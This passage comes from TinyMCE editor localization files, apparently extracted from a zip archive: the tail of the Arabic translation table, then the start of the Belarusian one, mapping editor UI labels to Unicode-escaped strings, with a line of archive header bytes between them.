\u0635\u0648\u0631\u0629",
"General": "\u0639\u0627\u0645",
"Advanced": "\u062e\u0635\u0627\u0626\u0635
\u0645\u062a\u0642\u062f\u0645\u0647",
"Source": "\u0627\u0644\u0645\u0635\u062f\u0631",
"Border": "\u062d\u062f\u0648\u062f",
"Constrain proportions":
"\u0627\u0644\u062a\u0646\u0627\u0633\u0628",
"Vertical space": "\u0645\u0633\u0627\u0641\u0629
\u0639\u0645\u0648\u062f\u064a\u0629",
"Image description": "\u0648\u0635\u0641
\u0627\u0644\u0635\u0648\u0631\u0629",
"Style": "\u0627\u0644\u0646\u0645\u0637 \/
\u0627\u0644\u0634\u0643\u0644",
"Dimensions":
"\u0627\u0644\u0623\u0628\u0639\u0627\u062f",
"Insert image": "\u0625\u062f\u0631\u0627\u062c
\u0635\u0648\u0631\u0629",
"Image": "\u0627\u0644\u0635\u0648\u0631\u0629",
"Zoom in": "\u062a\u0643\u0628\u064a\u0631",
"Contrast":
"\u0627\u0644\u062a\u0628\u0627\u064a\u0646",
"Back": "\u0644\u0644\u062e\u0644\u0641",
"Gamma": "\u063a\u0627\u0645\u0627",
"Flip horizontally": "\u0627\u0646\u0639\u0643\u0627\u0633
\u0623\u0641\u0642\u064a",
"Resize": "\u062a\u063a\u064a\u064a\u0631
\u062d\u062c\u0645",
"Sharpen": "\u062d\u0627\u062f\u0629",
"Zoom out": "\u062a\u0635\u063a\u064a\u0631",
"Image options": "\u0627\u0639\u062f\u0627\u062f\u0627\u062a
\u0627\u0644\u0635\u0648\u0631\u0629",
"Apply": "\u062a\u0637\u0628\u064a\u0642",
"Brightness":
"\u0627\u0644\u0625\u0636\u0627\u0621\u0629",
"Rotate clockwise": "\u062a\u062f\u0648\u064a\u0631
\u0641\u064a \u0627\u062a\u062c\u0627\u0647 \u0639\u0642\u0627\u0631\u0628
\u0627\u0644\u0633\u0627\u0639\u0629",
"Rotate counterclockwise": "\u062a\u062f\u0648\u064a\u0631
\u0639\u0643\u0633 \u0627\u062a\u062c\u0627\u0647
\u0639\u0642\u0627\u0631\u0628 \u0627\u0644\u0633\u0627\u0639\u0629",
"Edit image": "\u062a\u062d\u0631\u064a\u0631
\u0627\u0644\u0635\u0648\u0631\u0629",
"Color levels": "\u0645\u0633\u062a\u0648\u0649
\u0627\u0644\u0644\u0648\u0646",
"Crop": "\u0642\u0635",
"Orientation":
"\u0627\u0644\u0645\u062d\u0627\u0630\u0627\u0629",
"Flip vertically": "\u0627\u0646\u0639\u0643\u0627\u0633
\u0639\u0627\u0645\u0648\u062f\u064a",
"Invert": "\u0639\u0643\u0633",
"Date\/time":
"\u0627\u0644\u062a\u0627\u0631\u064a\u062e/\u0627\u0644\u0648\u0642\u062a",
"Insert date\/time": "\u0625\u062f\u0631\u0627\u062c
\u062a\u0627\u0631\u064a\u062e\/\u0648\u0642\u062a",
"Remove link": "\u062d\u0630\u0641
\u0627\u0644\u0631\u0627\u0628\u0637",
"Url": "\u0627\u0644\u0639\u0646\u0648\u0627\u0646",
"Text to display": "\u0627\u0644\u0646\u0635
\u0627\u0644\u0645\u0637\u0644\u0648\u0628 \u0639\u0631\u0636\u0647",
"Anchors":
"\u0627\u0644\u0645\u0631\u0633\u0627\u0629",
"Insert link": "\u0625\u062f\u0631\u0627\u062c
\u0631\u0627\u0628\u0637",
"Link": "\u0627\u0644\u0631\u0627\u0628\u0637",
"New window": "\u0646\u0627\u0641\u0630\u0629
\u062c\u062f\u064a\u062f\u0629",
"None": "\u0628\u0644\u0627",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "\u0646\u062a\u0648\u0642\u0639
\u0627\u0646\u0643 \u0642\u0645\u062a \u0628\u0625\u062f\u0631\u0627\u062c
\u0631\u0627\u0628\u0637 \u0644\u0645\u0648\u0642\u0639
\u062e\u0627\u0631\u062c\u064a. \u0647\u0644 \u062a\u0631\u064a\u062f
\u0627\u0646 \u0646\u0636\u064a\u0641
\u0627\u0644\u0644\u0627\u062d\u0642\u0629 http:\/\/
\u0644\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a
\u0627\u062f\u062e\u0644\u062a\u0647\u061f",
"Paste or type a link": "\u0623\u062f\u062e\u0644
\u0623\u0648 \u0627\u0643\u062a\u0628
\u0627\u0644\u0631\u0627\u0628\u0637",
"Target": "\u0627\u0644\u0625\u0637\u0627\u0631
\u0627\u0644\u0647\u062f\u0641",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?":
"\u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a
\u0642\u0645\u062a \u0628\u0625\u062f\u0631\u0627\u062c\u0647
\u064a\u0634\u0627\u0628\u0647 \u0627\u0644\u0628\u0631\u064a\u062f
\u0627\u0644\u0627\u0644\u0643\u062a\u0631\u0648\u0646\u064a. \u0647\u0644
\u062a\u0631\u064a\u062f \u0627\u0646 \u062a\u0636\u064a\u0641
\u0627\u0644\u0644\u0627\u062d\u0642\u0629 mailto:
\u0645\u0639\u062a\u0628\u0631\u0627\u064b \u0647\u0630\u0627
\u0627\u0644\u0631\u0627\u0628\u0637 \u0628\u0631\u064a\u062f\u0627
\u0627\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0627\u064b\u061f",
"Insert\/edit link":
"\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631
\u0631\u0627\u0628\u0637",
"Insert\/edit video":
"\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631
\u0641\u064a\u062f\u064a\u0648",
"Media": "\u0627\u0644\u0648\u0633\u0627\u0626\u0637
\u0627\u0644\u0645\u062a\u0639\u062f\u062f\u0629",
"Alternative source": "\u0645\u0635\u062f\u0631
\u0628\u062f\u064a\u0644",
"Paste your embed code below:": "\u0644\u0635\u0642
\u0643\u0648\u062f \u0627\u0644\u062a\u0636\u0645\u064a\u0646
\u0647\u0646\u0627:",
"Insert video": "\u0625\u062f\u0631\u0627\u062c
\u0641\u064a\u062f\u064a\u0648",
"Poster": "\u0645\u0644\u0635\u0642",
"Insert\/edit media":
"\u0625\u062f\u0631\u0627\u062c/\u062a\u062d\u0631\u064a\u0631
\u0627\u0644\u0648\u0633\u0627\u0626\u0637
\u0627\u0644\u0645\u062a\u0639\u062f\u062f\u0629",
"Embed": "\u062a\u0636\u0645\u064a\u0646",
"Nonbreaking space": "\u0645\u0633\u0627\u0641\u0629
\u063a\u064a\u0631 \u0645\u0646\u0642\u0633\u0645\u0629",
"Page break": "\u0641\u0627\u0635\u0644
\u0644\u0644\u0635\u0641\u062d\u0629",
"Paste as text": "\u0644\u0635\u0642
\u0643\u0646\u0635",
"Preview": "\u0645\u0639\u0627\u064a\u0646\u0629",
"Print": "\u0637\u0628\u0627\u0639\u0629",
"Save": "\u062d\u0641\u0638",
"Could not find the specified string.":
"\u062a\u0639\u0630\u0631 \u0627\u0644\u0639\u062b\u0648\u0631
\u0639\u0644\u0649 \u0627\u0644\u0643\u0644\u0645\u0629
\u0627\u0644\u0645\u062d\u062f\u062f\u0629",
"Replace":
"\u0627\u0633\u062a\u0628\u062f\u0627\u0644",
"Next": "\u0627\u0644\u062a\u0627\u0644\u064a",
"Whole words": "\u0645\u0637\u0627\u0628\u0642\u0629
\u0627\u0644\u0643\u0644\u0645\u0627\u062a
\u0628\u0627\u0644\u0643\u0627\u0645\u0644",
"Find and replace": "\u0628\u062d\u062b
\u0648\u0627\u0633\u062a\u0628\u062f\u0627\u0644",
"Replace with": "\u0627\u0633\u062a\u0628\u062f\u0627\u0644
\u0628\u0640",
"Find": "\u0628\u062d\u062b",
"Replace all": "\u0627\u0633\u062a\u0628\u062f\u0627\u0644
\u0627\u0644\u0643\u0644",
"Match case": "\u0645\u0637\u0627\u0628\u0642\u0629
\u062d\u0627\u0644\u0629 \u0627\u0644\u0623\u062d\u0631\u0641",
"Prev": "\u0627\u0644\u0633\u0627\u0628\u0642",
"Spellcheck": "\u062a\u062f\u0642\u064a\u0642
\u0625\u0645\u0644\u0627\u0626\u064a",
"Finish": "\u0627\u0646\u062a\u0647\u064a",
"Ignore all": "\u062a\u062c\u0627\u0647\u0644
\u0627\u0644\u0643\u0644",
"Ignore": "\u062a\u062c\u0627\u0647\u0644",
"Add to Dictionary": "\u0627\u0636\u0641 \u0627\u0644\u064a
\u0627\u0644\u0642\u0627\u0645\u0648\u0633",
"Insert row before": "\u0625\u062f\u0631\u0627\u062c
\u0635\u0641 \u0644\u0644\u0623\u0639\u0644\u0649",
"Rows": "\u0639\u062f\u062f
\u0627\u0644\u0635\u0641\u0648\u0641",
"Height": "\u0627\u0631\u062a\u0641\u0627\u0639",
"Paste row after": "\u0644\u0635\u0642
\u0627\u0644\u0635\u0641 \u0644\u0644\u0623\u0633\u0641\u0644",
"Alignment": "\u0645\u062d\u0627\u0630\u0627\u0629",
"Border color": "\u0644\u0648\u0646
\u0627\u0644\u0625\u0637\u0627\u0631",
"Column group": "\u0645\u062c\u0645\u0648\u0639\u0629
\u0639\u0645\u0648\u062f",
"Row": "\u0635\u0641",
"Insert column before": "\u0625\u062f\u0631\u0627\u062c
\u0639\u0645\u0648\u062f \u0644\u0644\u064a\u0633\u0627\u0631",
"Split cell": "\u062a\u0642\u0633\u064a\u0645
\u0627\u0644\u062e\u0644\u0627\u064a\u0627",
"Cell padding": "\u062a\u0628\u0627\u0639\u062f
\u0627\u0644\u062e\u0644\u064a\u0629",
"Cell spacing": "\u0627\u0644\u0645\u0633\u0627\u0641\u0629
\u0628\u064a\u0646 \u0627\u0644\u062e\u0644\u0627\u064a\u0627",
"Row type": "\u0646\u0648\u0639
\u0627\u0644\u0635\u0641",
"Insert table": "\u0625\u062f\u0631\u0627\u062c
\u062c\u062f\u0648\u0644",
"Body": "\u0647\u064a\u0643\u0644",
"Caption": "\u0634\u0631\u062d",
"Footer": "\u062a\u0630\u064a\u064a\u0644",
"Delete row": "\u062d\u0630\u0641 \u0635\u0641",
"Paste row before": "\u0644\u0635\u0642
\u0627\u0644\u0635\u0641 \u0644\u0644\u0623\u0639\u0644\u0649",
"Scope": "\u0627\u0644\u0645\u062c\u0627\u0644",
"Delete table": "\u062d\u0630\u0641
\u062c\u062f\u0648\u0644",
"H Align": "\u0645\u062d\u0627\u0630\u0627\u0629
\u0623\u0641\u0642\u064a\u0629",
"Top": "\u0623\u0639\u0644\u064a",
"Header cell": "\u0631\u0623\u0633
\u0627\u0644\u062e\u0644\u064a\u0629",
"Column": "\u0639\u0645\u0648\u062f",
"Row group": "\u0645\u062c\u0645\u0648\u0639\u0629
\u0635\u0641",
"Cell": "\u062e\u0644\u064a\u0629",
"Middle": "\u0627\u0644\u0648\u0633\u0637",
"Cell type": "\u0646\u0648\u0639
\u0627\u0644\u062e\u0644\u064a\u0629",
"Copy row": "\u0646\u0633\u062e
\u0627\u0644\u0635\u0641",
"Row properties": "\u062e\u0635\u0627\u0626\u0635
\u0627\u0644\u0635\u0641",
"Table properties": "\u062e\u0635\u0627\u0626\u0635
\u0627\u0644\u062c\u062f\u0648\u0644",
"Bottom": "\u0627\u0644\u0623\u0633\u0641\u0644",
"V Align": "\u0645\u062d\u0627\u0630\u0627\u0629
\u0631\u0623\u0633\u064a\u0629",
"Header": "\u0627\u0644\u0631\u0623\u0633",
"Right": "\u064a\u0645\u064a\u0646",
"Insert column after": "\u0625\u062f\u0631\u0627\u062c
\u0639\u0645\u0648\u062f \u0644\u0644\u064a\u0645\u064a\u0646",
"Cols": "\u0639\u062f\u062f
\u0627\u0644\u0623\u0639\u0645\u062f\u0629",
"Insert row after": "\u0625\u062f\u0631\u0627\u062c
\u0635\u0641 \u0644\u0644\u0623\u0633\u0641\u0644",
"Width": "\u0639\u0631\u0636",
"Cell properties": "\u062e\u0635\u0627\u0626\u0635
\u0627\u0644\u062e\u0644\u064a\u0629",
"Left": "\u064a\u0633\u0627\u0631",
"Cut row": "\u0642\u0635 \u0627\u0644\u0635\u0641",
"Delete column": "\u062d\u0630\u0641
\u0639\u0645\u0648\u062f",
"Center": "\u062a\u0648\u0633\u064a\u0637",
"Merge cells": "\u062f\u0645\u062c
\u062e\u0644\u0627\u064a\u0627",
"Insert template": "\u0625\u062f\u0631\u0627\u062c
\u0642\u0627\u0644\u0628",
"Templates": "\u0642\u0648\u0627\u0644\u0628",
"Background color": "\u0644\u0648\u0646
\u0627\u0644\u062e\u0644\u0641\u064a\u0629",
"Custom...": "\u062a\u062e\u0635\u064a\u0635 ...",
"Custom color": "\u0644\u0648\u0646
\u0645\u062e\u0635\u0635",
"No color": "\u0628\u062f\u0648\u0646
\u0644\u0648\u0646",
"Text color": "\u0644\u0648\u0646
\u0627\u0644\u0646\u0635",
"Table of Contents": "\u062c\u062f\u0648\u0644
\u0627\u0644\u0645\u062d\u062a\u0648\u064a\u0627\u062a",
"Show blocks": "\u0645\u0634\u0627\u0647\u062f\u0629
\u0627\u0644\u0643\u062a\u0644",
"Show invisible characters": "\u0623\u0638\u0647\u0631
\u0627\u0644\u0623\u062d\u0631\u0641 \u0627\u0644\u063a\u064a\u0631
\u0645\u0631\u0626\u064a\u0629",
"Words: {0}":
"\u0627\u0644\u0643\u0644\u0645\u0627\u062a:{0}",
"Insert": "\u0625\u062f\u0631\u0627\u062c",
"File": "\u0645\u0644\u0641",
"Edit": "\u062a\u062d\u0631\u064a\u0631",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u0645\u0646\u0637\u0642\u0629
\u0646\u0635 \u0645\u0646\u0633\u0642. \u0627\u0636\u063a\u0637 ALT-F9
\u0644\u0644\u0642\u0627\u0626\u0645\u0629. \u0627\u0636\u063a\u0637
ALT-F10 \u0644\u0634\u0631\u064a\u0637
\u0627\u0644\u0623\u062f\u0648\u0627\u062a. \u0627\u0636\u063a\u0637 ALT-0
\u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649
\u0645\u0633\u0627\u0639\u062f\u0629",
"Tools": "\u0623\u062f\u0627\u0648\u0627\u062a",
"View": "\u0639\u0631\u0636",
"Table": "\u062c\u062f\u0648\u0644",
"Format": "\u062a\u0646\u0633\u064a\u0642",
"_dir": "rtl"
});PKR��[B�U2�K�Ktinymce/langs/be.jsnu�[���tinymce.addI18n('be',{
"Cut":
"\u0412\u044b\u0440\u0430\u0437\u0430\u0446\u044c",
"Heading 5":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 5",
"Header 2":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0412\u0430\u0448 \u0431\u0440\u0430\u045e\u0437\u044d\u0440
\u043d\u0435
\u043f\u0430\u0434\u0442\u0440\u044b\u043c\u043b\u0456\u0432\u0430\u0435
\u043f\u0440\u0430\u043c\u044b \u0434\u043e\u0441\u0442\u0443\u043f
\u0434\u0430 \u0431\u0443\u0444\u0435\u0440\u0430
\u0430\u0431\u043c\u0435\u043d\u0443. \u041a\u0430\u043b\u0456
\u043b\u0430\u0441\u043a\u0430,
\u0432\u044b\u043a\u0430\u0440\u044b\u0441\u0442\u043e\u045e\u0432\u0430\u0439\u0446\u0435
\u043d\u0430\u0441\u0442\u0443\u043f\u043d\u044b\u044f
\u0441\u043f\u0430\u043b\u0443\u0447\u044d\u043d\u043d\u044f
\u043a\u043b\u0430\u0432\u0456\u0448: Ctrl + X\/C\/V.",
"Heading 4":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 4",
"Div": "\u0411\u043b\u043e\u043a",
"Heading 2":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 2",
"Paste":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c",
"Close":
"\u0417\u0430\u0447\u044b\u043d\u0456\u0446\u044c",
"Font Family": "\u0428\u0440\u044b\u0444\u0442",
"Pre":
"\u041f\u0440\u0430\u0434\u0444\u0430\u0440\u043c\u0430\u0442\u0430\u0432\u0430\u043d\u043d\u0435",
"Align right": "\u041f\u0430
\u043f\u0440\u0430\u0432\u044b\u043c \u043a\u0440\u0430\u0456",
"New document": "\u041d\u043e\u0432\u044b
\u0434\u0430\u043a\u0443\u043c\u0435\u043d\u0442",
"Blockquote": "\u0426\u044b\u0442\u0430\u0442\u0430",
"Numbered list":
"\u041d\u0443\u043c\u0430\u0440\u0430\u0432\u0430\u043d\u044b
\u0441\u043f\u0456\u0441",
"Heading 1":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 1",
"Headings":
"\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043a\u0456",
"Increase indent":
"\u041f\u0430\u0432\u044f\u043b\u0456\u0447\u044b\u0446\u044c
\u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Formats": "\u0424\u0430\u0440\u043c\u0430\u0442",
"Headers":
"\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043a\u0456",
"Select all":
"\u0412\u044b\u043b\u0443\u0447\u044b\u0446\u044c
\u0443\u0441\u0451",
"Header 3":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 3",
"Blocks": "\u0411\u043b\u043e\u043a\u0456",
"Undo": "\u0412\u044f\u0440\u043d\u0443\u0446\u044c",
"Strikethrough":
"\u0417\u0430\u043a\u0440\u044d\u0441\u043b\u0435\u043d\u044b",
"Bullet list":
"\u041c\u0430\u0440\u043a\u0456\u0440\u0430\u0432\u0430\u043d\u044b
\u0441\u043f\u0456\u0441",
"Header 1":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 1",
"Superscript": "\u0412\u0435\u0440\u0445\u043d\u0456
\u0456\u043d\u0434\u044d\u043a\u0441",
"Clear formatting":
"\u0410\u0447\u044b\u0441\u0446\u0456\u0446\u044c
\u0444\u0430\u0440\u043c\u0430\u0442",
"Font Sizes": "\u041f\u0430\u043c\u0435\u0440
\u0448\u0440\u044b\u0444\u0442\u0430",
"Subscript": "\u041d\u0456\u0436\u043d\u0456
\u0456\u043d\u0434\u044d\u043a\u0441",
"Header 6":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 6",
"Redo":
"\u0410\u0434\u043c\u044f\u043d\u0456\u0446\u044c",
"Paragraph":
"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Ok": "Ok",
"Bold": "\u0422\u043b\u0443\u0441\u0442\u044b",
"Code": "\u041a\u043e\u0434",
"Italic": "\u041a\u0443\u0440\u0441\u0456\u045e",
"Align center": "\u041f\u0430
\u0446\u044d\u043d\u0442\u0440\u044b",
"Header 5":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 5",
"Heading 6":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 6",
"Heading 3":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 3",
"Decrease indent":
"\u041f\u0430\u043c\u0435\u043d\u0448\u044b\u0446\u044c
\u0432\u043e\u0434\u0441\u0442\u0443\u043f",
"Header 4":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u0423\u0441\u0442\u0430\u045e\u043a\u0430
\u0437\u0434\u0437\u044f\u0439\u0441\u043d\u044f\u0435\u0446\u0446\u0430
\u045e \u0432\u044b\u0433\u043b\u044f\u0434\u0437\u0435
\u043f\u0440\u043e\u0441\u0442\u0430\u0433\u0430
\u0442\u044d\u043a\u0441\u0442\u0443, \u043f\u0430\u043a\u0443\u043b\u044c
\u043d\u0435 \u0430\u0434\u043a\u043b\u044e\u0447\u044b\u0446\u044c
\u0434\u0430\u0434\u0437\u0435\u043d\u0443\u044e
\u043e\u043f\u0446\u044b\u044e.",
"Underline":
"\u041f\u0430\u0434\u043a\u0440\u044d\u0441\u043b\u0435\u043d\u044b",
"Cancel":
"\u0410\u0434\u043c\u044f\u043d\u0456\u0446\u044c",
"Justify": "\u041f\u0430
\u0448\u044b\u0440\u044b\u043d\u0456",
"Inline": "\u0420\u0430\u0434\u043a\u043e\u0432\u044b",
"Copy":
"\u041a\u0430\u043f\u0456\u0440\u0430\u0432\u0430\u0446\u044c",
"Align left": "\u041f\u0430 \u043b\u0435\u0432\u044b\u043c
\u043a\u0440\u0430\u0456",
"Visual aids":
"\u041f\u0430\u043a\u0430\u0437\u0432\u0430\u0446\u044c
\u043a\u043e\u043d\u0442\u0443\u0440\u044b",
"Lower Greek": "\u041c\u0430\u043b\u044b\u044f
\u0433\u0440\u044d\u0447\u0430\u0441\u043a\u0456\u044f
\u043b\u0456\u0442\u0430\u0440\u044b",
"Square":
"\u041a\u0432\u0430\u0434\u0440\u0430\u0442\u044b",
"Default":
"\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b",
"Lower Alpha": "\u041c\u0430\u043b\u044b\u044f
\u043b\u0430\u0446\u0456\u043d\u0441\u043a\u0456\u044f
\u043b\u0456\u0442\u0430\u0440\u044b",
"Circle":
"\u0410\u043a\u0440\u0443\u0436\u043d\u0430\u0441\u0446\u0456",
"Disc": "\u041a\u0440\u0443\u0433\u0456",
"Upper Alpha":
"\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043d\u044b\u044f
\u043b\u0430\u0446\u0456\u043d\u0441\u043a\u0456\u044f
\u043b\u0456\u0442\u0430\u0440\u044b",
"Upper Roman":
"\u0417\u0430\u0433\u0430\u043b\u043e\u045e\u043d\u044b\u044f
\u0440\u044b\u043c\u0441\u043a\u0456\u044f
\u043b\u0456\u0447\u0431\u044b",
"Lower Roman": "\u041c\u0430\u043b\u044b\u044f
\u0440\u044b\u043c\u0441\u043a\u0456\u044f
\u043b\u0456\u0447\u0431\u044b",
"Name": "\u0406\u043c\u044f",
"Anchor": "\u042f\u043a\u0430\u0440",
"You have unsaved changes are you sure you want to navigate
away?": "\u0423 \u0432\u0430\u0441 \u0451\u0441\u0446\u044c
\u043d\u0435\u0437\u0430\u0445\u0430\u0432\u0430\u043d\u044b\u044f
\u0437\u043c\u0435\u043d\u044b. \u0412\u044b
\u045e\u043f\u044d\u045e\u043d\u0435\u043d\u044b\u044f, \u0448\u0442\u043e
\u0445\u043e\u0447\u0430\u0446\u0435
\u0432\u044b\u0439\u0441\u0446\u0456?",
"Restore last draft":
"\u0410\u0434\u043d\u0430\u045e\u043b\u0435\u043d\u043d\u0435
\u0430\u043f\u043e\u0448\u043d\u044f\u0433\u0430
\u043f\u0440\u0430\u0435\u043a\u0442\u0430",
"Special character":
"\u0421\u043f\u0435\u0446\u044b\u044f\u043b\u044c\u043d\u044b\u044f
\u0441\u0456\u043c\u0432\u0430\u043b\u044b",
"Source code": "\u0417\u044b\u0445\u043e\u0434\u043d\u044b
\u043a\u043e\u0434",
"Color": "\u041a\u043e\u043b\u0435\u0440",
"Right to left": "\u0421\u043f\u0440\u0430\u0432\u0430
\u043d\u0430\u043b\u0435\u0432\u0430",
"Left to right": "\u0417\u043b\u0435\u0432\u0430
\u043d\u0430\u043f\u0440\u0430\u0432\u0430",
"Emoticons": "\u0414\u0430\u0434\u0430\u0446\u044c
\u0441\u043c\u0430\u0439\u043b",
"Robots": "\u0420\u043e\u0431\u0430\u0442\u044b",
"Document properties":
"\u0423\u043b\u0430\u0441\u0446\u0456\u0432\u0430\u0441\u0446\u0456
\u0434\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title":
"\u0417\u0430\u0433\u0430\u043b\u043e\u0432\u0430\u043a",
"Keywords":
"\u041a\u043b\u044e\u0447\u0430\u0432\u044b\u044f
\u0441\u043b\u043e\u0432\u044b",
"Encoding":
"\u041a\u0430\u0434\u044b\u0440\u043e\u045e\u043a\u0430",
"Description":
"\u0410\u043f\u0456\u0441\u0430\u043d\u043d\u0435",
"Author": "\u0410\u045e\u0442\u0430\u0440",
"Fullscreen":
"\u041f\u043e\u045e\u043d\u0430\u044d\u043a\u0440\u0430\u043d\u043d\u044b
\u0440\u044d\u0436\u044b\u043c",
"Horizontal line":
"\u0413\u0430\u0440\u044b\u0437\u0430\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f
\u043b\u0456\u043d\u0456\u044f",
"Horizontal space":
"\u0413\u0430\u0440\u044b\u0437\u0430\u043d\u0442\u0430\u043b\u044c\u043d\u044b
\u0456\u043d\u0442\u044d\u0440\u0432\u0430\u043b",
"Insert\/edit image":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c
\u0432\u044b\u044f\u0432\u0443",
"General":
"\u0410\u0433\u0443\u043b\u044c\u043d\u0430\u0435",
"Advanced":
"\u041f\u0430\u0448\u044b\u0440\u0430\u043d\u0430\u0435",
"Source": "\u041a\u0440\u044b\u043d\u0456\u0446\u0430",
"Border": "\u041c\u044f\u0436\u0430",
"Constrain proportions":
"\u0417\u0430\u0445\u0430\u0432\u0430\u0446\u044c
\u043f\u0440\u0430\u043f\u043e\u0440\u0446\u044b\u0456",
"Vertical space":
"\u0412\u0435\u0440\u0442\u044b\u043a\u0430\u043b\u044c\u043d\u044b
\u0456\u043d\u0442\u044d\u0440\u0432\u0430\u043b",
"Image description":
"\u0410\u043f\u0456\u0441\u0430\u043d\u043d\u0435
\u0432\u044b\u044f\u0432\u044b",
"Style": "\u0421\u0442\u044b\u043b\u044c",
"Dimensions": "\u041f\u0430\u043c\u0435\u0440",
"Insert image":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0432\u044b\u044f\u0432\u0443",
"Insert date\/time":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0434\u0430\u0442\u0443\/\u0447\u0430\u0441",
"Remove link":
"\u0412\u044b\u0434\u0430\u043b\u0456\u0446\u044c
\u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"Url": "\u0410\u0434\u0440\u0430\u0441
\u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0456",
"Text to display": "\u0422\u044d\u043a\u0441\u0442
\u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0456",
"Anchors": "\u042f\u043a\u0430\u0440\u044b",
"Insert link":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"New window": "\u0423 \u043d\u043e\u0432\u044b\u043c
\u0430\u043a\u043d\u0435",
"None": "\u041d\u044f\u043c\u0430",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?":
"\u0423\u0432\u0435\u0434\u0437\u0435\u043d\u044b
\u0430\u0434\u0440\u0430\u0441 \u043f\u0430\u0434\u043e\u0431\u043d\u044b
\u043d\u0430 \u0437\u043d\u0435\u0448\u043d\u044e\u044e
\u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443.
\u0416\u0430\u0434\u0430\u0435\u0446\u0435
\u0434\u0430\u0434\u0430\u0446\u044c
\u043d\u0435\u0430\u0431\u0445\u043e\u0434\u043d\u044b http:\/\/
\u043f\u0440\u044d\u0444\u0456\u043a\u0441?",
"Target":
"\u0410\u0434\u043a\u0440\u044b\u0432\u0430\u0446\u044c
\u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?":
"\u0423\u0432\u0435\u0434\u0437\u0435\u043d\u044b
\u0430\u0434\u0440\u0430\u0441 \u043f\u0430\u0434\u043e\u0431\u043d\u044b
\u043d\u0430 \u0430\u0434\u0440\u0430\u0441
\u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0430\u0439
\u043f\u043e\u0448\u0442\u044b. \u0416\u0430\u0434\u0430\u0435\u0446\u0435
\u0434\u0430\u0434\u0430\u0446\u044c
\u043d\u0435\u0430\u0431\u0445\u043e\u0434\u043d\u044b mailto:
\u043f\u0440\u044d\u0444\u0456\u043a\u0441?",
"Insert\/edit link":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c
\u0441\u043f\u0430\u0441\u044b\u043b\u043a\u0443",
"Insert\/edit video":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c\/\u0440\u044d\u0434\u0430\u0433\u0430\u0432\u0430\u0446\u044c
\u0432\u0456\u0434\u044d\u0430",
"Poster": "\u0412\u044b\u044f\u0432\u0430",
"Alternative source":
"\u0410\u043b\u044c\u0442\u044d\u0440\u043d\u0430\u0442\u044b\u045e\u043d\u0430\u044f
\u043a\u0440\u044b\u043d\u0456\u0446\u0430",
"Paste your embed code below:":
"\u0423\u0441\u0442\u0430\u045e\u0446\u0435 \u0432\u0430\u0448
\u043a\u043e\u0434 \u043d\u0456\u0436\u044d\u0439:",
"Insert video":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c
\u0432\u0456\u0434\u044d\u0430",
"Embed": "\u041a\u043e\u0434 \u0434\u043b\u044f
\u045e\u0441\u0442\u0430\u045e\u043a\u0456",
"Nonbreaking space":
"\u041d\u0435\u043f\u0430\u0440\u044b\u045e\u043d\u044b
\u043f\u0440\u0430\u0431\u0435\u043b",
"Page break": "\u0420\u0430\u0437\u0440\u044b\u045e
\u0441\u0442\u0430\u0440\u043e\u043d\u043a\u0456",
"Paste as text":
"\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u044f\u043a
\u0442\u044d\u043a\u0441\u0442",
"Preview":
